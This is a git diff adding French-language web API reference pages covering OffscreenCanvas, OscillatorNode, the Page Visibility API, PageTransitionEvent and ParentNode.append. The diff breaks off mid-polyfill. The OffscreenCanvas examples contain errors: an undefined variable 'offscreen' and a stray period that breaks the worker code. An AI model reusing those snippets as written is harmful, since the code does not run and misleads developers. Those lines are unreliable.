+<p>le code suivant fournira la restitution, en utilisant un <code>OffscreenCanvas</code> comme décrit ci-dessus.</p>
+
+<pre class="brush: js">var une = document.getElementById("une").getContext("bitmaprenderer");
+var deux = document.getElementById("deux").getContext("bitmaprenderer");
+
+var horsEcran = new OffscreenCanvas(256, 256);
+var gl = horsEcran.getContext('webgl');
+
+// ... un peu de dessin pour le premier canevas en utilisant le contexte gl ...
+
+// Exécuter la restitution dans le premier canevas
+var bitmapUne = horsEcran.transferToImageBitmap();
+une.transferImageBitmap(bitmapUne);
+
+// ... davantage de dessin pour le second canevas en utilisant le context gl ...
+
+// Exécuter la restitution pour le second canevas
+var bitmapDeux = horsEcran.transferToImageBitmap();
+deux.transferImageBitmap(bitmapDeux);
+</pre>
+
+<h3 id="Affichage_asynchrone_d'images_produites_par_un_OffscreenCanvas">Affichage asynchrone d'images produites par un <code>OffscreenCanvas</code></h3>
+
+<p>Une autre façon d'utiliser l'API <code>OffscreenCanvas</code> est d'appeler {{domxref("HTMLCanvasElement.transferControlToOffscreen", "transferControlToOffscreen()")}} sur un élément {{HTMLElement("canvas")}}, soit sur un worker, soit sur le thread principal, ce qui retournera un objet <code>OffscreenCanvas</code> à partir d'un objet {{domxref("HTMLCanvasElement")}} depuis le thread principal. Appeler {{domxref("OffscreenCanvas.getContext", "getContext()")}} permettra d'obtienir alors un <code>RenderingContext</code> à partir de ce <code>OffscreenCanvas</code>.</p>
+
+<p>Afin de rendre les cadres visibles, vous pouvez appeler <code>commit()</code> sur ce <code>RenderingContext</code>, afin que les cadres soient renvoyés dans l'élément {{HTMLElement ("canvas")}} original.</p>
+
+<p>Notez que dans Firefox, cette API n'est actuellement implémentée que pour le <a href="/fr-FR/docs/Web/API/WebGL_API">contexte WebGL</a> ({{domxref ("WebGLRenderingContext.commit()")}}). Pour la prise en charge de l'API Canvas 2D par les employés, voir {{bug (801176)}}.</p>
+
+<p>main.js (code du thread principal) :</p>
+
+<pre class="brush: js">var canevasHtml = document.getElementById("canevas");
+var horsEcran = canevasHtml.transferControlToOffscreen();
+
+var worker = new Worker("offscreencanvas.js");
+worker.postMessage({canvas: offscreen}, [offscreen]);
+</pre>
+
+<p>offscreencanvas.js (code worker) :</p>
+
+<pre class="brush: js">onmessage = function(evt) {
+  var canevas = evt.data.canvas.
+  var gl = canevas.getContext("webgl");
+
+  // ... un peu de dessin en utilisant le contexte gl ...
+
+  // Renvoyer les images dans l'HTMLCanvasElement original
+  gl.commit();
+};
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#the-offscreencanvas-interface", "OffscreenCanvas")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatChrome("60")}} [2]</td>
+   <td>{{CompatGeckoDesktop(44)}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(44)}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Cette fonctionnalité se trouve derrière un paramètre de préférence de fonctionnalité. Dans about:config, mettre <code>gfx.offscreencanvas.enabled</code> à <code>true</code>.<br>
+ [2] Cette fonctionnalité se trouve derrière un indicateur. Dans <code>chrome://flags,</code> cliquer sur <code>Activer</code> pour <code>Experimental canvas features</code></p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://hacks.mozilla.org/2016/01/webgl-off-the-main-thread/">WebGL Off the Main Thread – Mozilla Hacks</a></li>
+ <li>{{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("ImageBitmap")}}</li>
+ <li>{{domxref("ImageBitmapRenderingContext")}}</li>
+ <li>{{domxref("HTMLCanvasElement.transferControlToOffscreen()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.commit()")}}</li>
+</ul>
diff --git a/files/fr/web/api/oscillatornode/index.html b/files/fr/web/api/oscillatornode/index.html
new file mode 100644
index 0000000000..ee9cfd0cef
--- /dev/null
+++ b/files/fr/web/api/oscillatornode/index.html
@@ -0,0 +1,156 @@
+---
+title: OscillatorNode
+slug: Web/API/OscillatorNode
+translation_of: Web/API/OscillatorNode
+---
+<p>{{APIRef("Web Audio API")}}</p>
+
+<div>
+<p>L'interface <code>OscillatorNode</code> représente un signal périodique, une sinusoïde par exemple. C'est un module de traitement audio {{domxref("AudioNode")}} qui crée un signal sinusoïdal à une fréquence donnée — c'est-à-dire génère une tonalité constante.</p>
+</div>
+
+<p>On crée un <code style="font-size: 14px;">OscillatorNode</code> en utilisant la méthode {{domxref("AudioContext.createOscillator")}}. Il a toujours exactement une sortie, et aucune entrée. Ses propriétés par défaut (voir {{domxref("AudioNode")}} pour la définition) sont :</p>
+
+<ul>
+ <li>Nombre d'entrées : <code>0</code></li>
+ <li>Nombre de sorties : <code>1</code></li>
+ <li>Mode de calcul des canaux : <code>max</code></li>
+ <li>Nombre de canaux : <code>2</code> (propriété ignorée dans le mode de calcul par défaut)</li>
+ <li>Interprétation des canaux : <code>speakers</code></li>
+</ul>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Hérite des propriétés de ses parents, </em><em>{{domxref("AudioNode")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("OscillatorNode.frequency")}}</dt>
+ <dd>{{domxref("AudioParam")}} de type <a href="/fr/docs/Web/API/AudioParam#a-rate">a-rate</a> représentant la fréquence d'oscillation en Hertz (la propriété frequency est en lecture seule, mais sa sous-propriété value ne l'est pas).</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("OscillatorNode.detune")}}</dt>
+ <dd>{{domxref("AudioParam")}} de type <a href="/fr/docs/Web/API/AudioParam#a-rate">a-rate</a> représentant le désaccordage de l' oscillation exprimé en cents  (la propriété detune est en lecture seule, mais sa sous-propriété value ne l'est pas).</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("OscillatorNode.type")}}</dt>
+ <dd>Chaîne de caractères indiquant la forme de l'onde générée. Différentes ondes produisent différentes tonalités.  Les valeurs standard sont <code>"sine"</code>, <code>"square"</code>, <code>"sawtooth"</code>, <code>"triangle"</code> et <code>"custom"</code>. La valeur par défault is <code>"sine"</code>. <code>custom</code> permet d'utiliser une {{domxref("PeriodicWave")}} pour décrire une forme d'onde personnalisée.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Hérite des méthodes de ses parents, {{domxref("AudioNode")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("OscillatorNode.start()")}}</dt>
+ <dd>Cette méthode déclenche la lecture du son.</dd>
+ <dt>{{domxref("OscillatorNode.stop()")}}</dt>
+ <dd>Cette méthode interrompt la lecture du son.</dd>
+ <dt>{{domxref("OscillatorNode.setPeriodicWave()")}}</dt>
+ <dd>Cette méthode définit une {{domxref("PeriodicWave")}} qui peut être utilisée pour donner sa forme à la sortie de l'oscillateur, quand on utilise l'attribut <code>type = "custom"</code>. Elle remplace la méthode devenue obsolète {{domxref("OscillatorNode.setWaveTable")}}.</dd>
+</dl>
+
+<h2 id="Event_handlers">Event handlers</h2>
+
+<dl>
+ <dt>{{domxref("OscillatorNode.onended")}}</dt>
+ <dd>Propriété utilisée pour assigner un gestionnaire d'évènement à l'évènement <code>ended</code>, qui est émis une fois que la lecture du son est terminée.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>L'exemple suivant montre une utilisation basique d'un {{ domxref("AudioContext") }} pour créer un <code>OscillatorNode</code>. Pour un exemple appliqué, jetez un oeil à notre <a href="http://mdn.github.io/violent-theremin/">Violent Theremin demo</a> (voir<a href="https://github.com/mdn/violent-theremin/blob/gh-pages/scripts/app.js"> app.js</a> pour l'intégralité du code).</p>
+
+<pre class="brush: js">// crée un contexteaudio
+var contexteAudio = new (window.AudioContext || window.webkitAudioContext)();
+
+// create Oscillator node
+var oscillator = contexteAudio.createOscillator();
+oscillator.connect(contexteAudio.destination);
+oscillator.type = 'square';
+oscillator.frequency.value = 440; // valeur en hertz
+
+oscillator.start();</pre>
+
+<div>
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#the-oscillatornode-interface', 'OscillatorNode')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_avec_les_navigateurs">Compatibilité avec les navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>14 {{property_prefix("webkit")}}</td>
+   <td>23</td>
+   <td>{{CompatNo}}</td>
+   <td>15 {{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>28 {{property_prefix("webkit")}}</td>
+   <td>25</td>
+   <td>1.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web_Audio_API/Using_Web_Audio_API">Utiliser la Web Audio API</a></li>
+</ul>
+</div>
+
+<p> </p>
diff --git a/files/fr/web/api/page_visibility_api/index.html b/files/fr/web/api/page_visibility_api/index.html
new file mode 100644
index 0000000000..1a3c041ec6
--- /dev/null
+++ b/files/fr/web/api/page_visibility_api/index.html
@@ -0,0 +1,263 @@
+---
+title: Page Visibility API
+slug: Web/API/Page_Visibility_API
+translation_of: Web/API/Page_Visibility_API
+---
+<div>{{DefaultAPISidebar("Page Visibility API")}}</div>
+
+<p><span class="seoSummary"><strong>L’API <em>Page Visibility</em></strong> (« visibilité de la page ») permet de savoir quand une page web est visible ou a le focus.</span> Avec la navigation par onglets, il y a une probabilité raisonnable qu’une page web donnée soit en arrière-plan, donc masquée pour l’utilisateur. Quand celui-ci minimise la page ou bascule vers un autre onglet, l’API émet un évènement {{event("visibilitychange")}} correspondant à la visibilité de la page. Vous pouvez détecter cet évènement et réaliser différentes actions ou modifier un comportement. Par exemple, si votre application web est en train de lire une vidéo, elle peut mettre cette dernière en pause au moment où l’utilisateur regarde un autre onglet, et reprendre la lecture quand la personne revient à l’onglet. L’utilisateur ne perd pas le fil de la vidéo et peut continuer à la regarder.</p>
+
+<p>L’état de visibilité d’une {{HTMLElement("iframe")}} est le même que celui du document parent. Masquer l’iframe via une propriété CSS ne déclenche pas d’évènement de visibilité, ni ne change l’état du document contenu.</p>
+
+<h3 id="Avantages">Avantages</h3>
+
+<p>L’API est particulièrement utile pour économiser des ressources. Elle donne aux développeurs l’opportunité de ne pas réaliser des tâches non nécessaires quand la page web est invisible.</p>
+
+<h3 id="Cas_d’utilisation">Cas d’utilisation</h3>
+
+<p>Quelques exemples :</p>
+
+<ul>
+ <li>Un site comportant un carrousel qui ne doit pas passer à l’image suivante si l’utilisateur ne regarde pas la page.</li>
+ <li>Une application présentant un panneau d’informations, qui ne doit pas demander au serveur une mise à jour des données quand la page n’est pas visible.</li>
+ <li>Une page qui cherche à detecter quand elle est <em>prerendered</em> (pré-calculée), afin de tenir un compte précis du nombre de vues.</li>
+ <li>Un site qui cherche à désactiver les sons quand un appareil est en mode veille (l’utilisateur presse le bouton d’alimentation pour éteindre l’écran).</li>
+</ul>
+
+<p>Historiquement, les développeurs ont utilisé des solutions de remplacement imparfaites pour détecter de tels changements. Par exemple, inscrire un gestionnaire onblur/onfocus sur la fenêtre est utile quand votre page n’est pas la page active, mais cela ne vous dit pas si votre page est masquée pour l’utilisateur. L’API <em>Page Visibility</em> corrige ce problème. (Lorsqu’on compare avec un gestionnaire onblur/onfocus sur la fenêtre, une différence notable est que la page ne devient <em>pas</em> cachée quand une autre fenêtre est rendue active et le navigateur perd le focus. Une page devient cachée seulement quand l’utilisateur bascule vers un autre onglet ou minimise la fenêtre du navigateur.)</p>
+
+<h3 id="Politiques_de_performance_des_pages_en_arrière-plan">Politiques de performance des pages en arrière-plan</h3>
+
+<p>En parallèle avec l’API <em>Page Visibility,</em> un certain nombre de politiques sont en place pour atténuer l’impact négatif sur les performances lié aux onglets en arrière-plan :</p>
+
+<ul>
+ <li>Les appels à {{domxref("Window.requestAnimationFrame()")}} sont suspendus dans la plupart des navigateurs lorsqu’ils sont effectués dans un onglet en arrière-plan ou une {{ HTMLElement("iframe") }} cachée, afin d’améliorer les performances et l’autonomie de la batterie.</li>
+ <li>Les timers tels que {{domxref("WindowOrWorkerGlobalScope.setTimeout")}} sont retardés dans les onglets inactifs ou en arrière-plan pour aider à l’amélioration des performances. Voir <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout#Reasons_for_delays_longer_than_specified"><em>Reasons for delays longer than specified</em></a> pour plus de détails.</li>
+ <li>Les navigateurs modernes (Firefox 58+, Chrome 57+) ont mis en œuvre un retardement basé sur un budget pour les timeouts en arrière-plan. Cela place une limite supplémentaire sur la consommation de CPU des timers en arrière-plan. Cette limite opère de manière similaire dans tous les navigateurs modernes, avec les détails qui suivent :
+  <ul>
+   <li>Dans Firefox, les fenêtres d’onglets en arrière-plan ont chacune leur propre budget de temps en millisecondes — une valeur maximum et minimum de +50 ms et -150 ms, respectivement. Chrome est très similaire, excepté que le budget est spécifié en secondes.</li>
+   <li>Les fenêtres sont sujettes au retardement après 30 secondes, avec les mêmes règles de délai de retardement que spécifiées pour les timers (encore une fois, voir <em><a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout#Reasons_for_delays_longer_than_specified">Reasons for delays longer than specified</a></em>). Pour Chrome, cette valeur est de 10 secondes.</li>
+   <li>Les tâches de timers sont permises seulement quand le budget est non négatif.</li>
+   <li>Quand un timer a été exécuté, son temps d’exécution est retranché au budget de la fenêtre depuis laquelle le timer a été appelé.</li>
+   <li>Le budget regénère à un taux de 10 ms par seconde, sous Firefox et sous Chrome.</li>
+  </ul>
+ </li>
+ <li>Certaines opérations sont exemptées de retardement :
+  <ul>
+   <li>Les applications qui jouent du son sont considérées comme en avant-plan, et donc ne sont pas retardées.</li>
+   <li>Les applications avec des connexions en temps réel (<a href="/en-US/docs/Web/API/WebSockets_API">WebSockets</a> et <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a>), afin d’éviter que ces connexions soient fermées par timeout.</li>
+   <li>Les opérations <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>.</li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Voir <a href="http://daniemon.com/tech/webapps/page-visibility/">l’exemple en direct</a> (vidéo avec son).</p>
+
+<p>Cet exemple, qui met la vidéo en pause quand vous basculez vers un autre onglet, et reprend la lecture quand vous y revenez, a été créé avec le code suivant :</p>
+
+<pre class="brush: js">// Set the name of the hidden property and the change event for visibility
+var hidden, visibilityChange;
+if (typeof document.hidden !== "undefined") { // Opera 12.10 and Firefox 18 and later support
+  hidden = "hidden";
+  visibilityChange = "visibilitychange";
+} else if (typeof document.msHidden !== "undefined") {
+  hidden = "msHidden";
+  visibilityChange = "msvisibilitychange";
+} else if (typeof document.webkitHidden !== "undefined") {
+  hidden = "webkitHidden";
+  visibilityChange = "webkitvisibilitychange";
+}
+
+var videoElement = document.getElementById("videoElement");
+
+// If the page is hidden, pause the video;
+// if the page is shown, play the video
+function handleVisibilityChange() {
+  if (document.hidden) {
+    videoElement.pause();
+  } else {
+    videoElement.play();
+  }
+}
+
+// Warn if the browser doesn't support addEventListener or the Page Visibility API
+if (typeof document.addEventListener === "undefined" || typeof document.hidden === "undefined") {
+  console.log("This demo requires a browser, such as Google Chrome or Firefox, that supports the Page Visibility API.");
+} else {
+  // Handle page visibility change
+  document.addEventListener(visibilityChange, handleVisibilityChange, false);
+
+  // When the video pauses, set the title.
+  // This shows the paused
+  videoElement.addEventListener("pause", function(){
+    document.title = 'Paused';
+  }, false);
+
+  // When the video plays, set the title.
+  videoElement.addEventListener("play", function(){
+    document.title = 'Playing';
+  }, false);
+
+}
+</pre>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>
+ <p id="document.hidden_Read_only">{{domxref("document.hidden")}} <span class="inlineIndicator readOnly readOnlyInline" title="This value may not be changed.">Read only </span></p>
+ </dt>
+ <dd>
+ <p>Retourne <code>true</code> si la page est dans un état considéré comme masqué à l’utilisateur, et <code>false</code> dans le cas contraire.</p>
+ </dd>
+ <dt>
+ <p id="document.visibilityState_Read_only">{{domxref("document.visibilityState")}} <span class="inlineIndicator readOnly readOnlyInline" title="This value may not be changed.">Read only </span></p>
+ </dt>
+ <dd>
+ <p>Une <code>string</code> représentant l’état de visibilité du document. Valeurs possibles :</p>
+
+ <ul>
+  <li><code>visible</code> : le contenu de la page peut être au moins partiellement visible. En pratique, cela signifie que la page est l’onglet actif d’une fenêtre non minimisée.</li>
+  <li><code>hidden</code> : le contenu de la page n’est pas visible pour l’utilisateur. En pratique, cela signifie que le document est soit dans un onglet en arrière-plan, soit dans une fenêtre minimizée ; ou bien que l’écran de verrouillage de l’OS est actif.</li>
+  <li><code>prerender</code> : le contenu de la page est en train d’être précalculé et n’est pas visible pour l’utilisateur (il est considéré masqué pour <code>document.hidden</code>). Le document peut être dans cet état initialement, mais ne passera jamais à cet état depuis une autre valeur. Note : le support des navigateurs est optionnel.</li>
+  <li><code>unloaded</code> : la page est en train d’être déchargée de la mémoire. Note : le support des navigateurs est optionnel.</li>
+ </ul>
+
+ <pre class="brush: js">//startSimulation and pauseSimulation defined elsewhere
+function handleVisibilityChange() {
+  if (document.hidden) {
+    pauseSimulation();
+  } else  {
+    startSimulation();
+  }
+}
+
+document.addEventListener("visibilitychange", handleVisibilityChange, false);
+</pre>
+ </dd>
+ <dt>
+ <p>{{domxref("document.onvisibilitychange")}}</p>
+ </dt>
+ <dd>
+ <p>Un {{domxref("EventHandler")}} représentant le code à appeler quand l’évènement {{event("visibilitychange")}} est émis.</p>
+ </dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Page Visibility API')}}</td>
+   <td>{{Spec2('Page Visibility API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>13 {{property_prefix("webkit")}}<br>
+    33</td>
+   <td>{{CompatGeckoDesktop(18)}}<sup>[2]</sup></td>
+   <td>10</td>
+   <td>12.10<sup>[1]</sup></td>
+   <td>7</td>
+  </tr>
+  <tr>
+   <td><code>onvisibilitychange</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(56)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Retardement à budget</td>
+   <td>57</td>
+   <td>{{CompatGeckoDesktop(58)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>5.0<sup>[3]</sup></td>
+   <td>{{CompatGeckoMobile(18)}}<sup>[2]</sup></td>
+   <td>10</td>
+   <td>12.10<sup>[1]</sup></td>
+   <td>7<sup>[4]</sup></td>
+  </tr>
+  <tr>
+   <td><code>onvisibilitychange</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(56)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Retardement à budget</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(58)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] N’émet pas d’évènement {{event("visibilitychange")}} quand la fenêtre du navigateur est minimisée, ni ne passe <code>hidden</code> à <code>true</code>.</p>
+
+<p>[2] De Firefox 10 à Firefox 51 inclus, cette propriété pouvait être utilisée avec le préfixe <code>moz</code>.</p>
+
+<p>[3] Android 4.4 supporte cette fonctionnalité avec le préfixe <code>webkit</code>.</p>
+
+<p>[4] À partir d’iOS 11.0.2, les valeurs sont incorrectes en mode standalone (quand vous pressez « ajouter à l’écran d’accueil ») et quand l’écran est verrouillé (le bouton d’alimentation a été pressé). La valeur pour <code>hidden</code> est <code>false</code> et <code>visibilityState</code> est <code>visible</code>.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La description de <a href="http://blogs.msdn.com/b/ie/archive/2011/07/08/using-pc-hardware-more-efficiently-in-html5-new-web-performance-apis-part-2.aspx" title="Page Visibility on IEBlog">l’API Page Visibility</a> sur l’IEBlog</li>
+ <li>La description de <a href="http://code.google.com/chrome/whitepapers/pagevisibility.html" title="Page Visibility API by Google">l’API Page Visibility</a> par Google</li>
+</ul>
diff --git a/files/fr/web/api/pagetransitionevent/index.html b/files/fr/web/api/pagetransitionevent/index.html
new file mode 100644
index 0000000000..88e918b253
--- /dev/null
+++ b/files/fr/web/api/pagetransitionevent/index.html
@@ -0,0 +1,64 @@
+---
+title: PageTransitionEvent
+slug: Web/API/PageTransitionEvent
+translation_of: Web/API/PageTransitionEvent
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p>Les évènements de transition de page sont émis quand une page web est chargée ou déchargée.</p>
+
+<h2 id="Information_du_DOM">Information du DOM</h2>
+
+<h3 id="Hiérarchie_d’héritage">Hiérarchie d’héritage</h3>
+
+<div><a href="/fr/docs/Web/API/Event">Event</a>
+
+<div>   PageTransitionEvent</div>
+</div>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;body onpageshow="myFunction(event)"&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">function myFunction(event) {
+    if (event.persisted) {
+        alert("La page a été mise en cache par le navigateur");
+    } else {
+        alert("La page n’a PAS été mise en cache par le navigateur");
+    }
+}</pre>
+
+<h2 id="Membres">Membres</h2>
+
+<p>L’objet <strong>PageTransitionEvent</strong> possède les types de membres suivants :</p>
+
+<ul>
+ <li><a href="#Propriétés">Propriétés</a></li>
+</ul>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<p>L’objet <strong>PageTransitionEvent</strong> possède les propriétés suivantes :</p>
+
+<table class="members" id="memberListProperties">
+ <tbody>
+  <tr>
+   <th>Propriété</th>
+   <th>Type d’accès</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <th><code>persisted</code></th>
+   <th>Lecture seule</th>
+   <th>Indique si une page web est chargée depuis le cache.</th>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/api/parentnode/append/index.html b/files/fr/web/api/parentnode/append/index.html
new file mode 100644
index 0000000000..d6818894a3
--- /dev/null
+++ b/files/fr/web/api/parentnode/append/index.html
@@ -0,0 +1,137 @@
+---
+title: ParentNode.append()
+slug: Web/API/ParentNode/append
+tags:
+  - API
+  - DOM
+  - Reference
+translation_of: Web/API/ParentNode/append
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La méthode <strong><code>ParentNode.append</code></strong> insère un ensemble d’objets {{domxref("Node")}} ou {{domxref("DOMString")}} après le dernier enfant de <code>ParentNode</code>. Les objets {{domxref("DOMString")}} (c’est-à-dire les chaînes de caractères) sont insérés comme nœuds {{domxref("Text")}} équivalents.</p>
+
+<p>Différences avec {{domxref("Node.appendChild()")}} :</p>
+
+<ul>
+ <li><code>ParentNode.append()</code> vous permet également d’ajouter des objet {{domxref("DOMString")}}, tandis que <code>Node.appendChild()</code> accepte seulement les objets {{domxref("Node")}}.</li>
+ <li><code>ParentNode.append()</code> n’a pas de valeur de retour, tandis que <code>Node.appendChild()</code> retourne l’objet {{domxref("Node")}} ajouté.</li>
+ <li><code>ParentNode.append()</code> peut ajouter plusieurs nœuds et chaînes, alors que<code>Node.appendChild()</code> peut seulement ajouter un nœud.</li>
+</ul>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">[Throws, Unscopable]
+void ParentNode.append((Node or DOMString)... nodes);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>nodes</code></dt>
+ <dd>Un ensemble d’objets {{domxref("Node")}} ou {{domxref("DOMString")}} à insérer.</dd>
+</dl>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li>{{domxref("HierarchyRequestError")}} :<br>
+  Le nœud ne peut pas être inséré au point spécifié dans la hiérarchie.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Ajouter_un_élément">Ajouter un élément</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var p = document.createElement("p");
+parent.append(p);
+
+console.log(parent.childNodes); // NodeList [ &lt;p&gt; ]
+</pre>
+
+<h3 id="Ajouter_du_texte">Ajouter du texte</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+parent.append("Du texte");
+
+console.log(parent.textContent); // "Du texte"</pre>
+
+<h3 id="Ajouter_un_élément_et_du_texte">Ajouter un élément et du texte</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var p = document.createElement("p");
+parent.append("Du texte", p);
+
+console.log(parent.childNodes); // NodeList [ #text "Du texte", &lt;p&gt; ]</pre>
+
+<h3 id="ParentNode.append_est_unscopable"><code>ParentNode.append()</code> est <em>unscopable</em></h3>
+
+<p>La méthode <code>append()</code> n’est pas accessible dans un bloc <code>with</code>. Voir {{jsxref("Symbol.unscopables")}} pour plus d’information.</p>
+
+<pre class="brush: js">var parent = document.createElement("div");
+
+with(parent) {
+  append("foo");
+}
+// ReferenceError: append is not defined </pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Vous pouvez utiliser la méthode <code>append()</code> dans Internet Explorer 9 (et supérieur) avec le code suivant :</p>
+
+<pre class="brush: js">// Source: https://github.com/jserz/js_piece/blob/master/DOM/ParentNode/append()/append().md
+(function (arr) {
+  arr.forEach(function (item) {
+    if (item.hasOwnProperty('append')) {
+      return;
+    }
+    Object.defineProperty(item, 'append', {
+      configurable: true,
+      enumerable: true,
+      writable: true,
+      value: function append() {
+        var argArr = Array.prototype.slice.call(arguments),
+          docFrag = document.createDocumentFragment();
+
+        argArr.forEach(function (argItem) {
